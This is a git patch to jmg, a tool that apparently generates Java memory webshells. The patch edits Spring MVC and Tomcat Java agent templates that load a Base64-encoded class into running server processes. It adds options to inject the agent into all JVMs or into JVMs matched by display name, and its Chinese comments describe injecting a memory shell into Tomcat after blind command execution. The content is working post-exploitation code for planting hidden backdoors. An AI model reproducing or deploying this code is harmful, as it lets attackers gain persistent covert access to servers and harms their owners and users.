From 6e667fb9ac035341f0a77ad124d15ee45ee89a3c Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sat, 20 Jul 2024 14:58:28 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96=20java=20agent=20=E9=A9=AC?= =?UTF-8?q?=E5=8F=82=E6=95=B0=E9=80=89=E9=A1=B9=EF=BC=8C=E8=B4=B4=E5=90=88?= =?UTF-8?q?=E5=AE=9E=E6=88=98=E5=9C=BA=E6=99=AF=EF=BC=88=E5=91=BD=E4=BB=A4?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=97=A0=E5=9B=9E=E6=98=BE=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../template/SpringMVCAgentTransformer.java | 61 +++++++++++++--- .../core/template/TomcatAgentTransformer.java | 69 ++++++++++++++++--- 2 files changed, 111 insertions(+), 19 deletions(-) diff --git a/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java index 7236083..d7f782d 100644 --- a/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java +++ b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java @@ -17,6 +17,7 @@ import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.security.ProtectionDomain; +import java.util.ArrayList; import java.util.List; public class SpringMVCAgentTransformer implements ClassFileTransformer { @@ -59,7 +60,7 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer { " } catch (Throwable e) {\n" + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + - " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" + " }\n" + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + @@ -132,22 +133,45 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer { } + /* + 参数说明见 TomcatAgentTransformer + */ public static void main(String[] args) throws Exception { - String jvmProcessId = null; if (args.length == 0) { - // 列出所有 pid listAllJvmPids(); - } else { - try { - Integer.parseInt(args[0]); - jvmProcessId = args[0]; - attachAgentToTargetJvm(jvmProcessId); - } catch (NumberFormatException e) { - throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } + else if (args.length == 1) { + String arg = args[0]; + if (arg.equalsIgnoreCase("all")) { + for (String jvmProcessId : getAllJvmPids()) { + attachAgentToTargetJvm(jvmProcessId); + } } + else { + try { + Integer.parseInt(arg); + attachAgentToTargetJvm(arg); + } + catch (NumberFormatException e) { + for (String jvmProcessId : getJvmPidsByDisplayName(arg)) { + attachAgentToTargetJvm(jvmProcessId); + } + } + } + } else { + throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName."); } } + public static List getAllJvmPids() throws Exception { + List pids = new ArrayList<>(); + for (Object vm : vms) { + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + pids.add(id); + } + return pids; + } public static void listAllJvmPids() throws Exception { for (Object vm : vms) { @@ -159,6 +183,23 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer { } } + public static List getJvmPidsByDisplayName(String displayName) throws Exception { + List pids = new ArrayList<>(); + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String currentDisplayName = (String) displayNameMethod.invoke(vm); + System.out.println(currentDisplayName); + System.out.println(displayName); + System.out.println(); + if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) { + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + pids.add(id); + } + } + return pids; + } + private static void attachAgentToTargetJvm(String targetPID) throws Exception { String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); infoLog("Current agent path: " + agentFilePath); diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java index c7140ae..49fc86a 100644 --- a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java +++ b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java @@ -17,6 +17,7 @@ import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.security.ProtectionDomain; +import java.util.ArrayList; import java.util.List; public class TomcatAgentTransformer implements ClassFileTransformer { @@ -136,22 +137,55 @@ public class TomcatAgentTransformer implements ClassFileTransformer { } + /* + 使用方法: + java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID + java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程 + java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID + java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程 + */ public static void main(String[] args) throws Exception { - String jvmProcessId = null; + // 无参数 - 列出所有 JVM 进程 ID if (args.length == 0) { - // 列出所有 pid listAllJvmPids(); - } else { - try { - Integer.parseInt(args[0]); - jvmProcessId = args[0]; - attachAgentToTargetJvm(jvmProcessId); - } catch (NumberFormatException e) { - throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } else if (args.length == 1) { + String arg = args[0]; + // "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用) + if (arg.equalsIgnoreCase("all")) { + for (String jvmProcessId : getAllJvmPids()) { + attachAgentToTargetJvm(jvmProcessId); + } } + // JVM 进程 ID,将 agent 注入到指定的 JVM 进程 + else { + try { + Integer.parseInt(arg); + attachAgentToTargetJvm(arg); + } catch (NumberFormatException e) { + /* + WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点) + WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程 + HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马 + */ + for (String jvmProcessId : getJvmPidsByDisplayName(arg)) { + attachAgentToTargetJvm(jvmProcessId); + } + } + } + } else { + throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName."); } } + public static List getAllJvmPids() throws Exception { + List pids = new ArrayList<>(); + for (Object vm : vms) { + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + pids.add(id); + } + return pids; + } public static void listAllJvmPids() throws Exception { for (Object vm : vms) { @@ -163,6 +197,23 @@ public class TomcatAgentTransformer implements ClassFileTransformer { } } + public static List getJvmPidsByDisplayName(String displayName) throws Exception { + List pids = new ArrayList<>(); + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String currentDisplayName = (String) displayNameMethod.invoke(vm); + System.out.println(currentDisplayName); + System.out.println(displayName); + System.out.println(); + if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) { + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + pids.add(id); + } + } + return pids; + } + private static void attachAgentToTargetJvm(String targetPID) throws Exception { String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); infoLog("Current agent path: " + agentFilePath);